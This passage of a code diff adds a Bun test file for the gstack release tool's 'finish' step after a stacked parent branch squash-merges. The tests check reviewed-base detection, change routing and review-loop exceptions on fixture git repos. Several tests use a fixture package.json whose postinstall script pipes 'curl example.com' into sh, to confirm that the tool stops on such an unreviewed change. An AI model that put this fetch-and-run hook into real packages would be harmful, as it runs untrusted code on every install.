const check = (l: { label: string; command: string }) => bin(cwd, 'gstack-evidence', ['check', '--label', l.label, '--expect-cmd', l.command, '--max-age', '24', '--allow-paths', allow], 60_000).stdout;
|
||||
|
||||
@@ -399,6 +399,10 @@ export const KNOWN_WINDOWS_INCOMPATIBLE: Array<{ file: string; reason: string }>
|
||||
file: 'test/ship-rereview-triggers.test.ts',
|
||||
reason: 'drives bin/gstack-ship-release, gstack-docs-candidate and gstack-wtree (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-release.test.ts; windows-latest fails every bin case at the first spawn (windows-free-shard 6, run 41193336209)',
|
||||
},
|
||||
{
|
||||
file: 'test/ship-finish-stack-parent.test.ts',
|
||||
reason: 'drives bin/gstack-ship-release, gstack-docs-candidate and gstack-wtree (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-rereview-triggers.test.ts; windows-latest fails every case at the first bin spawn (windows-scoped-shard, run 41950236362)',
|
||||
},
|
||||
];
|
||||
|
||||
// Force-include overrides: files a WINDOWS_FRAGILE_PATTERNS regex excludes for
|
||||
|
||||
@@ -0,0 +1,457 @@
|
||||
/**
|
||||
* finish after a stacked parent squash-merges (GST-1399): the child was reviewed against its parent branch, the parent
|
||||
* squash-merged into main, and the child merged main. The review's base (the parent's head) is not on main, but it is a
|
||||
* landed stack parent: --reviewed-base takes it, and the route, the fix-check credit and the docs carry compare the child's
|
||||
* own patch against each base, so the parent's and main's edits are base, never changes since review. The receipt carry's
|
||||
* landed-parent search (GST-1199) finds the parent the same way when main edited the parent's lines after the squash.
|
||||
*/
|
||||
import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
|
||||
import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import { EXIT } from '../lib/headless-artifacts';
|
||||
import { extractReceipt } from '../lib/ship-receipt';
|
||||
import { cleanup, commit, makeFixtureRepo, runBin, type FixtureRepo } from './helpers/pregate-fixture';
|
||||
import { lineOf, RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
|
||||
|
||||
setDefaultTimeout(90_000);
|
||||
const BIN = path.dirname(RELEASE);
|
||||
const LANE = 'tests=printf " 3 pass\\n 0 fail\\nRan 3 tests across 1 file. [5.00ms]\\n"';
|
||||
const ships: ShipFx[] = [];
|
||||
const repos: FixtureRepo[] = [];
|
||||
afterEach(() => { while (ships.length) ships.pop()!.cleanup(); while (repos.length) cleanup(repos.pop()!); });
|
||||
const wtree = (f: ShipFx) => f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
|
||||
const head = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim();
|
||||
const finish = (f: ShipFx, reviewed: string, post: string, extra: string[] = []) => f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--lane', LANE, ...extra]);
|
||||
const lines = (n: number, edit: Record<number, string> = {}) => Array.from({ length: n }, (_, i) => edit[i + 1] ?? `export const l${i + 1} = ${i + 1};`).join('\n') + '\n';
|
||||
const behaviorStop = (paths: string) => `STOP: behavior, tests or build inputs changed since review (${paths}): insert 5–11.5 → 12–14 → 16 before Step 17 (stage 2.1)`;
|
||||
|
||||
const TEST_V0 = "import { expect, test } from 'bun:test';\ntest('lands', () => { expect(1).toBe(1); });\n";
|
||||
const TEST_V1 = "import { expect, test } from 'bun:test';\ntest('lands direct', () => { expect(1).toBe(1); });\n";
|
||||
const TEST_V2 = TEST_V1 + "test('lock 502 retries', () => { expect(2).toBe(2); });\n";
|
||||
const BASE = { 'src/shared.ts': lines(20), 'docs/policy.md': '# Policy\n\nold rule\n', 'test/helpers/data.ts': 'export const rows = [0];\n', 'test/land.test.ts': TEST_V0 };
|
||||
const PARENT = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), 'docs/policy.md': '# Policy\n\nparent rule\n', 'test/helpers/data.ts': 'export const rows = [1];\n', 'test/land.test.ts': TEST_V1, 'README.md': '# Fx, from the parent\n' };
|
||||
const CHILD = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 15: 'export const l15 = 150;' }), 'src/child.ts': 'export const c = 1;\n' };
|
||||
const CHILD_ONLY = { 'src/child.ts': 'export const c = 1;\n' };
|
||||
/** Main after the parent's squash: later edits to the parent's files (a doc, a helper, a test, the audited README) and one far from the child's hunk. */
|
||||
const MAIN_LATER = { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 8: 'export const l8 = 80;' }), 'docs/policy.md': '# Policy\n\nparent rule\n\nmain rule\n', 'test/helpers/data.ts': 'export const rows = [1, 2];\n', 'test/land.test.ts': TEST_V2, 'README.md': '# Fx, from the parent\n\nMain moved on.\n' };
|
||||
|
||||
/** Merge origin/main; each conflict (the parent's files, which main squashed and then edited) takes main's side, as #4008's merge did. */
|
||||
function mergeMain(f: ShipFx): void {
|
||||
f.git('fetch', '-q', 'origin');
|
||||
if (f.git('merge', '-q', '--no-edit', 'origin/main').status === 0) return;
|
||||
expect(f.git('checkout', '--theirs', '--', '.').status).toBe(0);
|
||||
f.commit('merge main');
|
||||
}
|
||||
|
||||
/**
|
||||
* main <- parent (pushed as origin/parent) <- child, reviewed against the parent branch; then the parent squash-merges into
|
||||
* main (`land`: false keeps it off main), main moves on, and the child merges main.
|
||||
*/
|
||||
function stacked(opts: { land?: boolean; docs?: string[]; base?: Record<string, string>; parentFiles?: Record<string, string>; child?: Record<string, string>; beforeMerge?: (f: ShipFx) => void; mainLater?: Record<string, string>; afterLand?: (f: ShipFx) => void } = {}) {
|
||||
const parentFiles = opts.parentFiles ?? PARENT;
|
||||
const f = shipFixture(opts.base ?? BASE, parentFiles); ships.push(f);
|
||||
const parent = head(f);
|
||||
expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0);
|
||||
f.write(opts.child ?? CHILD); f.commit('child');
|
||||
const passHead = head(f);
|
||||
const reviewed = wtree(f);
|
||||
expect(f.git('merge-base', 'origin/parent', 'HEAD').stdout.trim()).toBe(parent);
|
||||
const fork = f.git('merge-base', 'origin/main', 'HEAD').stdout.trim();
|
||||
opts.beforeMerge?.(f);
|
||||
const post = path.join(f.root, 'post.json');
|
||||
expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', ...(opts.docs ?? ['README.md']).flatMap(d => ['--docs', d])]).status).toBe(0);
|
||||
if (opts.land !== false) f.advanceBase(parentFiles);
|
||||
f.advanceBase(opts.land === false ? { 'docs/other.md': '# main without the parent\n' } : opts.mainLater ?? MAIN_LATER);
|
||||
opts.afterLand?.(f);
|
||||
mergeMain(f);
|
||||
return { f, parent, fork, passHead, reviewed, post };
|
||||
}
|
||||
|
||||
describe('finish after a stacked parent squash-merges (GST-1399)', () => {
|
||||
// Value: protects=a stacked child whose parent squash-merged and that merged main finishes with the parent's head as its
|
||||
// reviewed base, and the parent's and main's later edits to the parent's doc, helper, test and audited README route as
|
||||
// base (#4008 paid two review exceptions and a split for them); fails_when=finish refuses the parent's head as not on
|
||||
// origin/main, or compares from the old fork point and lists the parent's files as changed since review;
|
||||
// seam=lib/ship-release.ts reviewedBaseCommit and route; no_claim=gstack-ship-receipt carry
|
||||
test('the landed parent is the reviewed base and the parent\'s and main\'s edits route as base', () => {
|
||||
const { f, parent, reviewed, post } = stacked();
|
||||
expect(f.git('diff', '--quiet', 'origin/main', 'HEAD', '--', 'docs/policy.md', 'test/helpers/data.ts', 'test/land.test.ts', 'README.md').status).toBe(0);
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent]);
|
||||
expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe(`REVIEWED_BASE: stack parent ${parent.slice(0, 12)} landed on origin/main at ${f.git('rev-parse', 'origin/main~1').stdout.trim().slice(0, 12)}`);
|
||||
expect(lineOf(r.stdout, 'ROUTE')).toMatch(/ behavior=0 docs=0 metadata=0 tests=0 base=6 context=0$/);
|
||||
expect(lineOf(r.stdout, 'DOCS')).toBe('DOCS: fresh against the Step 14.5 post-audit snapshot (carried: tests=1 base=4 requested=0)');
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([0, '']);
|
||||
});
|
||||
|
||||
// Value: protects=a release that folded the parent's changelog fragment on main (merge: direct deletes every fragment)
|
||||
// does not hide the landed parent (red-team p1 on #4013); fails_when=the landed check counts the parent's fragment,
|
||||
// which main no longer holds, as an unlanded change; seam=reviewedBaseCommit's pathspec; no_claim=gstack-release-stamp
|
||||
test('a release that folded the parent\'s changelog fragment still finds the landed parent', () => {
|
||||
const policy = JSON.stringify({ min_gstack_version: '1.95.0.0', changelog_fragments: { dir: 'changelog.d', required_checks: ['free-tests'] } });
|
||||
const { f, parent, reviewed, post } = stacked({
|
||||
base: { ...BASE, '.gstack/ship-policy.json': policy },
|
||||
parentFiles: { ...PARENT, 'changelog.d/parent.md': '- the parent\n' },
|
||||
mainLater: { 'docs/other.md': '# main moves on\n' },
|
||||
afterLand: g => {
|
||||
g.git('fetch', '-q', 'origin');
|
||||
expect(g.git('checkout', '-q', '--detach', 'origin/main').status).toBe(0);
|
||||
expect(g.git('rm', '-q', 'changelog.d/parent.md').status).toBe(0);
|
||||
g.write({ 'CHANGELOG.md': '# Changelog\n\n## [1.0.1.0]\n\n- the parent\n' });
|
||||
g.commit('release: fold the changelog fragments');
|
||||
expect(g.git('push', '-q', 'origin', 'HEAD:main').status).toBe(0);
|
||||
expect(g.git('checkout', '-q', 'feat').status).toBe(0);
|
||||
},
|
||||
});
|
||||
expect(f.git('cat-file', '-e', 'origin/main:changelog.d/parent.md').status).not.toBe(0);
|
||||
const resurrected = finish(f, reviewed, post, ['--reviewed-base', parent]);
|
||||
expect([resurrected.status, lineOf(resurrected.stdout, 'STOP')]).toEqual([3, expect.stringContaining('authored docs changed since review (changelog.d/parent.md)')]);
|
||||
expect(f.git('rm', '-q', 'changelog.d/parent.md').status).toBe(0);
|
||||
f.commit('drop the parent\'s fragment the merge kept');
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent]);
|
||||
expect([r.status, lineOf(r.stdout, 'STOP'), lineOf(r.stdout, 'REVIEWED_BASE')]).toEqual([0, '', expect.stringContaining(`stack parent ${parent.slice(0, 12)} landed on origin/main`)]);
|
||||
});
|
||||
|
||||
// Value: protects=a parent change main never received in a path the child did not touch since review (a package.json
|
||||
// postinstall), and a merge that kept a parent line main fixed since, still stop: the route reads every path the branch
|
||||
// ships against main, not only paths changed since review (outside voice on #4013); fails_when=finish reads only the
|
||||
// reviewed-vs-current paths, or classifies the manifest as release metadata against the reviewed tree; seam=route
|
||||
test('an unlanded parent change, or a merge that kept a line main changed, still stops', () => {
|
||||
const PKG = '{"name":"fx","version":"1.0.0"}\n';
|
||||
const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n';
|
||||
const unlanded = stacked({
|
||||
parentFiles: { ...PARENT, 'package.json': POSTINSTALL },
|
||||
afterLand: g => g.advanceBase({ 'package.json': PKG }),
|
||||
});
|
||||
expect(unlanded.f.git('show', 'HEAD:package.json').stdout).toBe(POSTINSTALL);
|
||||
const u = finish(unlanded.f, unlanded.reviewed, unlanded.post, ['--reviewed-base', unlanded.parent]);
|
||||
expect([u.status, lineOf(u.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]);
|
||||
const kept = stacked({ mainLater: { ...MAIN_LATER, 'src/shared.ts': lines(20, { 3: 'export const l3 = 31;' }) } });
|
||||
expect(kept.f.git('checkout', '-q', kept.passHead, '--', 'src/shared.ts').status).toBe(0);
|
||||
kept.f.commit('keep the parent line');
|
||||
const k = finish(kept.f, kept.reviewed, kept.post, ['--reviewed-base', kept.parent]);
|
||||
expect([k.status, lineOf(k.stdout, 'STOP')]).toEqual([3, behaviorStop('src/shared.ts')]);
|
||||
});
|
||||
|
||||
// Value: protects=a parent package.json script main never received still stops after the child's version bump moves the
|
||||
// manifest into the changed-since-review set, and a parent's logic edit to a stamp_paths file main never received stops
|
||||
// (red-team fc3 on #4013); fails_when=a shipped path's release-metadata class is judged against the reviewed tree, or
|
||||
// stamp_paths count as metadata wholesale; seam=route's base-judged class and finishStages' baseRelease
|
||||
test('a version bump does not hide a parent script main does not hold', () => {
|
||||
const PKG = '{"name":"fx","version":"1.0.0"}\n';
|
||||
const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n';
|
||||
const bumped = stacked({ parentFiles: { ...PARENT, 'package.json': POSTINSTALL }, afterLand: g => g.advanceBase({ 'package.json': PKG }) });
|
||||
bumped.f.write({ 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n' }); bumped.f.commit('bump');
|
||||
const b = finish(bumped.f, bumped.reviewed, bumped.post, ['--reviewed-base', bumped.parent]);
|
||||
expect([b.status, lineOf(b.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]);
|
||||
});
|
||||
|
||||
test('a parent logic edit to a stamp_paths file main does not hold stops', () => {
|
||||
const policy = JSON.stringify({ min_gstack_version: '1.95.0.0', stamp_paths: ['src/policy.ts'] });
|
||||
const stamped = stacked({
|
||||
base: { ...BASE, '.gstack/ship-policy.json': policy, 'src/policy.ts': 'export const allow = () => false;\n' },
|
||||
parentFiles: { ...PARENT, 'src/policy.ts': 'export const allow = () => true;\n' },
|
||||
afterLand: g => g.advanceBase({ 'src/policy.ts': 'export const allow = () => false;\n' }),
|
||||
});
|
||||
expect(stamped.f.git('show', 'HEAD:src/policy.ts').stdout).toBe('export const allow = () => true;\n');
|
||||
const s = finish(stamped.f, stamped.reviewed, stamped.post, ['--reviewed-base', stamped.parent]);
|
||||
expect([s.status, lineOf(s.stdout, 'STOP')]).toEqual([3, behaviorStop('src/policy.ts')]);
|
||||
});
|
||||
|
||||
// Value: protects=a landed stack parent never takes #4020's bounded route: an audit edit to code-classed policy prose made
|
||||
// after review, which a child reviewed against the base sends to one scoped reader, stops for Steps 5–11.5 on the
|
||||
// stacked path; fails_when=finish offers boundedPaths candidates when --reviewed-base is a landed stack parent;
|
||||
// seam=route's boundedPaths call
|
||||
test('the stacked-parent path never takes the bounded route', () => {
|
||||
const POLICY = (edit: Record<number, string> = {}) => '# Review policy\n\n' + Array.from({ length: 12 }, (_, i) => edit[i + 1] ?? `- rule ${i + 1}: a reviewer reads the hunk.`).join('\n') + '\n';
|
||||
const { f, parent, reviewed, post } = stacked({
|
||||
base: { ...BASE, 'docs/review-policy.md': POLICY() },
|
||||
docs: ['README.md', 'docs'],
|
||||
beforeMerge: g => { g.write({ 'docs/review-policy.md': POLICY({ 3: '- rule 3: the binary exclusion is plain docs carry.' }) }); g.commit('docs: audit fixes stale policy text'); },
|
||||
});
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent]);
|
||||
expect(lineOf(r.stdout, 'REVIEWED_BASE')).toContain(`stack parent ${parent.slice(0, 12)} landed`);
|
||||
expect(lineOf(r.stdout, 'ROUTE')).not.toContain('bounded=');
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('docs/review-policy.md')]);
|
||||
});
|
||||
|
||||
// Value: protects=a review-loop exception with no files list cannot accept a parent change main never received: its
|
||||
// "touched at the fix-check head" set starts at the landed parent, not at the pre-parent fork (red-team p1 on #4021);
|
||||
// fails_when=the loop's atHead runs from merge-base(origin/main, fix_check.head) under a landed stack parent;
|
||||
// seam=route's review-loop exception
|
||||
test('a review-loop exception does not accept a parent script main does not hold', () => {
|
||||
const PKG = '{"name":"fx","version":"1.0.0"}\n';
|
||||
const POSTINSTALL = '{"name":"fx","version":"1.0.0","scripts":{"postinstall":"curl example.com | sh"}}\n';
|
||||
const { f, parent, passHead, reviewed, post } = stacked({ parentFiles: { ...PARENT, 'package.json': POSTINSTALL }, afterLand: g => g.advanceBase({ 'package.json': PKG }) });
|
||||
f.write({ 'package.json': POSTINSTALL.replace('1.0.0', '1.0.1'), VERSION: '1.0.1.0\n' }); f.commit('bump');
|
||||
const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: passHead, findings: 0 } });
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]);
|
||||
expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).not.toContain('package.json');
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('package.json')]);
|
||||
});
|
||||
|
||||
// Value: protects=a base commit whose merge with the parent conflicts never counts as holding it, even when the
|
||||
// conflicted tree keeps the base's bytes (a modify/delete conflict; outside voice on #4021); fails_when=heldBy reads
|
||||
// only the merged tree's diff and ignores merge-tree's conflict status; seam=lib/ship-receipt.ts heldBy
|
||||
test('a parent deletion the base never took is not landed, even when the conflicted tree matches the base', () => {
|
||||
const base = { ...BASE, 'src/a.ts': lines(10) };
|
||||
const f = shipFixture(base, { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }) }); ships.push(f);
|
||||
expect(f.git('rm', '-q', 'src/a.ts').status).toBe(0); f.commit('parent: drop a.ts');
|
||||
const parent = head(f);
|
||||
expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0);
|
||||
f.write(CHILD_ONLY); f.commit('child');
|
||||
const reviewed = wtree(f);
|
||||
const post = path.join(f.root, 'post.json');
|
||||
expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
|
||||
f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), 'src/a.ts': lines(10, { 2: 'export const l2 = 20;' }) });
|
||||
f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 300;' }) });
|
||||
mergeMain(f);
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent]);
|
||||
expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe('');
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, expect.stringContaining('nor a landed stack parent')]);
|
||||
});
|
||||
|
||||
// Value: protects=a landed parent whose tentative VERSION the train restamped in the squash itself is still landed: a
|
||||
// merge-tree conflict only on excluded release metadata does not count against the parent (specialist p2 on #4021);
|
||||
// fails_when=heldBy rejects any conflicted merge, not only one conflicted inside its pathspec; seam=lib/ship-receipt.ts heldBy
|
||||
test('a parent whose VERSION the train restamped at landing is still landed', () => {
|
||||
const { f, parent, reviewed, post } = stacked({
|
||||
parentFiles: { ...PARENT, VERSION: '1.0.1.0\n' },
|
||||
land: false,
|
||||
afterLand: g => g.advanceBase({ ...PARENT, VERSION: '1.0.2.0\n' }),
|
||||
});
|
||||
expect(f.git('show', 'HEAD:VERSION').stdout).toBe('1.0.2.0\n');
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent]);
|
||||
expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe(`REVIEWED_BASE: stack parent ${parent.slice(0, 12)} landed on origin/main at ${f.git('rev-parse', 'origin/main').stdout.trim().slice(0, 12)}`);
|
||||
expect(lineOf(r.stdout, 'STOP')).not.toContain('nor a landed stack parent');
|
||||
});
|
||||
|
||||
// Value: protects=a review-loop exception whose fix-check head comes after the child merged main cannot accept a
|
||||
// main-only file edited after it: the "touched at the fix-check head" set starts at the parent only when that head
|
||||
// forked before the parent landed (red-team p2 on #4021); fails_when=the loop's fork is the parent whenever the parent
|
||||
// is an ancestor of the head; seam=route's review-loop exception via patchBase
|
||||
test('a loop exception at a post-merge fix-check head does not accept a main-only file edited after it', () => {
|
||||
const { f, parent, reviewed, post } = stacked({ base: { ...BASE, 'src/other.ts': lines(5) }, mainLater: { ...MAIN_LATER, 'src/other.ts': lines(5, { 2: 'export const l2 = 20;' }) } });
|
||||
const merged = head(f);
|
||||
f.write({ 'src/other.ts': lines(5, { 2: 'export const l2 = 20;', 4: 'export const l4 = 40;' }) }); f.commit('edit a main-only file after the fix-check');
|
||||
const exception = JSON.stringify({ accepted_by: 'GStack Minder', date: '2026-11-05', via: 'test', reason: 'fixture', fix_check: { head: merged, findings: 0 } });
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent, '--review-loop-exception', exception]);
|
||||
expect(lineOf(r.stdout, 'REVIEW_LOOP_EXCEPTION')).toContain('accepted none');
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('src/other.ts')]);
|
||||
});
|
||||
|
||||
// Value: protects=a conflicted parent deletion of a file whose name git C-quotes (a double quote) is still a conflict
|
||||
// inside the pathspec, so the parent is not landed (fix-check p2 on #4021); fails_when=heldBy reads merge-tree's
|
||||
// conflicted names without -z and compares quoted names to raw ones; seam=lib/ship-receipt.ts heldBy
|
||||
test('a parent deletion the base never took is not landed when git quotes the file name', () => {
|
||||
const odd = 'src/we"ird.ts';
|
||||
const f = shipFixture({ ...BASE, [odd]: lines(10) }, { 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }) }); ships.push(f);
|
||||
expect(f.git('rm', '-q', odd).status).toBe(0); f.commit('parent: drop the oddly named file');
|
||||
const parent = head(f);
|
||||
expect(f.git('push', '-q', 'origin', 'feat:parent').status).toBe(0);
|
||||
f.write(CHILD_ONLY); f.commit('child');
|
||||
const reviewed = wtree(f);
|
||||
const post = path.join(f.root, 'post.json');
|
||||
expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
|
||||
f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;' }), [odd]: lines(10, { 2: 'export const l2 = 20;' }) });
|
||||
f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 300;' }) });
|
||||
mergeMain(f);
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent]);
|
||||
expect(lineOf(r.stdout, 'REVIEWED_BASE')).toBe('');
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, expect.stringContaining('nor a landed stack parent')]);
|
||||
});
|
||||
|
||||
// Value: protects=a reviewed executable bit reverted to main's mode after review is not held by main, so it stops
|
||||
// (outside voice on #4013); fails_when=baseHolds compares blob bytes only; seam=lib/ship-patch.ts baseHolds
|
||||
test('a reverted mode change stops', () => {
|
||||
let exec = '';
|
||||
const { f, parent, post } = stacked({ base: { ...BASE, 'bin/run.sh': '#!/bin/sh\necho run\n' }, beforeMerge: g => {
|
||||
expect(g.git('update-index', '--chmod=+x', 'bin/run.sh').status).toBe(0);
|
||||
expect(g.git('commit', '-qm', 'make it executable').status).toBe(0);
|
||||
expect(g.git('checkout', '--', 'bin/run.sh').status).toBe(0);
|
||||
exec = g.git('rev-parse', 'HEAD^{tree}').stdout.trim();
|
||||
} });
|
||||
expect(f.git('update-index', '--chmod=-x', 'bin/run.sh').status).toBe(0);
|
||||
expect(f.git('commit', '-qm', 'drop the executable bit').status).toBe(0);
|
||||
expect(f.git('checkout', '--', 'bin/run.sh').status).toBe(0);
|
||||
expect(f.git('diff', '--quiet', 'origin/main', 'HEAD', '--', 'bin/run.sh').status).toBe(0);
|
||||
const r = finish(f, exec, post, ['--reviewed-base', parent]);
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('bin/run.sh')]);
|
||||
});
|
||||
|
||||
// Value: protects=negative control: a child edit after the review still stops with the landed parent as the base;
|
||||
// fails_when=the stack-parent route waves through the child's own post-review change; seam=route; no_claim=-
|
||||
test('a child edit after the review still stops', () => {
|
||||
const { f, parent, reviewed, post } = stacked();
|
||||
f.write({ 'src/child.ts': 'export const c = 2;\n' }); f.commit('edit after review');
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', parent]);
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, behaviorStop('src/child.ts')]);
|
||||
});
|
||||
|
||||
// Value: protects=a file whose content equals main's counts as base only when main already holds the reviewed change
|
||||
// (main absorbed the child's hunk); a child file reverted to main's content after the review still stops;
|
||||
// fails_when=equal-to-main waves a post-review revert through, or an absorbed hunk stops; seam=lib/ship-patch.ts baseHolds
|
||||
test('equal to main is base when main holds the reviewed change; a revert to main\'s content stops', () => {
|
||||
const absorbed = stacked();
|
||||
absorbed.f.advanceBase({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 8: 'export const l8 = 80;', 15: 'export const l15 = 150;', 18: 'export const l18 = 180;' }) });
|
||||
mergeMain(absorbed.f);
|
||||
expect(absorbed.f.git('diff', '--quiet', 'origin/main', 'HEAD', '--', 'src/shared.ts').status).toBe(0);
|
||||
const a = finish(absorbed.f, absorbed.reviewed, absorbed.post, ['--reviewed-base', absorbed.parent]);
|
||||
expect([a.status, lineOf(a.stdout, 'ROUTE')]).toEqual([0, expect.stringMatching(/ behavior=0 docs=0 metadata=0 tests=0 base=6 context=0$/)]);
|
||||
const reverted = stacked();
|
||||
reverted.f.write({ 'src/shared.ts': MAIN_LATER['src/shared.ts'] }); reverted.f.commit('revert the reviewed hunk');
|
||||
const v = finish(reverted.f, reverted.reviewed, reverted.post, ['--reviewed-base', reverted.parent]);
|
||||
expect([v.status, lineOf(v.stdout, 'STOP')]).toEqual([3, behaviorStop('src/shared.ts')]);
|
||||
});
|
||||
|
||||
// Value: protects=negative control: a parent head main never received, or the child's own head, is still refused as a
|
||||
// reviewed base; fails_when=any off-main commit the branch contains widens what routes as base; seam=reviewedBaseCommit
|
||||
test('a parent that never landed, or the child\'s own head, is refused', () => {
|
||||
const { f, parent, reviewed, post } = stacked({ land: false });
|
||||
for (const rb of [parent, head(f)]) {
|
||||
const r = finish(f, reviewed, post, ['--reviewed-base', rb]);
|
||||
expect([r.status, lineOf(r.stdout, 'STOP')]).toEqual([3, expect.stringContaining(`--reviewed-base ${rb.slice(0, 12)} is not on origin/main`)]);
|
||||
}
|
||||
});
|
||||
|
||||
// Value: protects=a granted fix-check's credit for a file main also edited holds when the fix commit's own patch runs from
|
||||
// the landed parent (#4008's fix_checked paths); fails_when=the fix-check side compares from the old fork point and
|
||||
// credits nothing, so the fixed file routes as behavior; seam=route's fix-check sides; no_claim=Step 11.5's binding
|
||||
test('a granted fix-check keeps its credit after the parent lands', () => {
|
||||
let fixHead = '';
|
||||
let passHead = '';
|
||||
const s = stacked({
|
||||
beforeMerge: f => {
|
||||
passHead = head(f);
|
||||
f.write({ 'src/shared.ts': lines(20, { 3: 'export const l3 = 30;', 15: 'export const l15 = 151;' }) }); f.commit('fix the round-2 blocker');
|
||||
fixHead = head(f);
|
||||
const a = f.run(path.join(BIN, 'gstack-approvals'), ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${passHead.slice(0, 12)})`, '--words', 'one scoped fix-check', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { GSTACK_APPROVALS_MIRROR: '0' });
|
||||
expect(a.status).toBe(0);
|
||||
const start = f.run(path.join(BIN, 'gstack-review-log'), ['--start', 'review-fix-check']);
|
||||
expect(f.run(path.join(BIN, 'gstack-review-log'), [JSON.stringify({ skill: 'review-fix-check', timestamp: '2026-11-04T00:00:00Z', via: 'ship', review_scope: 'frozen', status: 'clean', issues_found: 0, critical: 0, completed: true, converged: true, range_base: passHead }), '--finish', start.stdout.trim()]).status).toBe(0);
|
||||
},
|
||||
});
|
||||
const r = finish(s.f, s.reviewed, s.post, ['--reviewed-base', s.parent]);
|
||||
expect(lineOf(r.stdout, 'FIX_CHECK')).toStartWith(`FIX_CHECK: reviewed src/shared.ts (fix-check at ${fixHead.slice(0, 12)}, range from ${passHead.slice(0, 12)}`);
|
||||
expect([r.status, lineOf(r.stdout, 'ROUTE')]).toEqual([0, expect.stringMatching(/ behavior=0 docs=0 metadata=0 tests=0 base=5 context=0 fix_checked=1$/)]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('receipt carry after main edits a landed parent\'s lines (GST-1399)', () => {
|
||||
const SUB = "exports.add = (a, b) => a + b;\nexports.sub = (a, b) => a - b;\n";
|
||||
// Value: protects=a child whose receipt was written against main while stacked carries once its parent squash-merged, even
|
||||
// when main then edited the parent's own lines before the child merged main (#4008: #4003 edited #4007's lines);
|
||||
// fails_when=the landed-parent search merges the parent into the current base tip only, conflicts on those lines, finds
|
||||
// no parent and compares from the old fork point; seam=lib/ship-patch.ts heldBy via landedStackParent; no_claim=-
|
||||
test('the landed parent is found after main edited its lines', () => {
|
||||
const repo = makeFixtureRepo(); repos.push(repo);
|
||||
repo.git('checkout', '-q', '-b', 'parent');
|
||||
const parent = commit(repo, { 'lib/util.js': SUB }, 'parent: sub');
|
||||
repo.git('checkout', '-q', 'feature');
|
||||
repo.git('reset', '-q', '--hard', parent);
|
||||
const child = commit(repo, { 'lib/retry.js': 'exports.MAX_RETRIES = 4;\n' }, 'child: four retries');
|
||||
const body = path.join(repo.root, 'body.md');
|
||||
expect(runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '8', '--base', 'main', '--version', '1.0.0', '--session-kind', 'unattended', '--body', body]).status).toBe(EXIT.ok);
|
||||
repo.git('checkout', '-q', 'main');
|
||||
commit(repo, { 'lib/util.js': SUB }, 'squash: parent (#7)');
|
||||
commit(repo, { 'lib/util.js': SUB.replace('a - b;', 'Number(a) - Number(b);') }, 'main edits the parent\'s line');
|
||||
repo.git('push', '-q', 'origin', 'main');
|
||||
repo.git('checkout', '-q', 'feature');
|
||||
